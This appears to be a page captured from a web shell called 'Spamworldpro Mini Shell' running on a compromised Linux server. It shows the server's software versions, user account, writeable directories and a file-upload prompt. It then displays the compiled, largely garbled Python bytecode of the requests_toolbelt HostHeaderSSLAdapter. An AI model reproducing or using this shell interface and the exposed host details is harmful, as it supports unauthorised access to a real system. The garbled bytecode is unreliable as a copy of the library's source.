Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips
System : Linux server1.richineiserver.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : fdshops ( 1003)
PHP Version : 8.2.21
Disable Function : NONE
Directory :  /lib/python2.7/site-packages/requests_toolbelt/adapters/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python2.7/site-packages/requests_toolbelt/adapters/host_header_ssl.pyo
�
ӵ Yc@s0dZddlmZdefd��YZdS(s�
requests_toolbelt.adapters.host_header_ssl
==========================================

This file contains an implementation of the HostHeaderSSLAdapter.
i����(tHTTPAdaptertHostHeaderSSLAdaptercBseZdZd�ZRS(s�
    A HTTPS Adapter for Python Requests that sets the hostname for certificate
    verification based on the Host header.

    This allows requesting the IP address directly via HTTPS without getting
    a "hostname doesn't match" exception.

    Example usage:

        >>> s.mount('https://', HostHeaderSSLAdapter())
        >>> s.get("https://93.184.216.34", headers={"Host": "example.org"})

    cKs�d}x4|jD])}|j�dkr|j|}PqqW|jj}|r\||d<nd|kr{|jdd�ntt|�j||�S(Nthosttassert_hostname(	tNonetheaderstlowertpoolmanagertconnection_pool_kwtpoptsuperRtsend(tselftrequesttkwargsthost_headertheadertconnection_pool_kwargs((sN/usr/lib/python2.7/site-packages/requests_toolbelt/adapters/host_header_ssl.pyRs

(t__name__t
__module__t__doc__R(((sN/usr/lib/python2.7/site-packages/requests_toolbelt/adapters/host_header_ssl.pyRs
N(Rtrequests.adaptersRR(((sN/usr/lib/python2.7/site-packages/requests_toolbelt/adapters/host_header_ssl.pyt<module>s

Spamworldpro Mini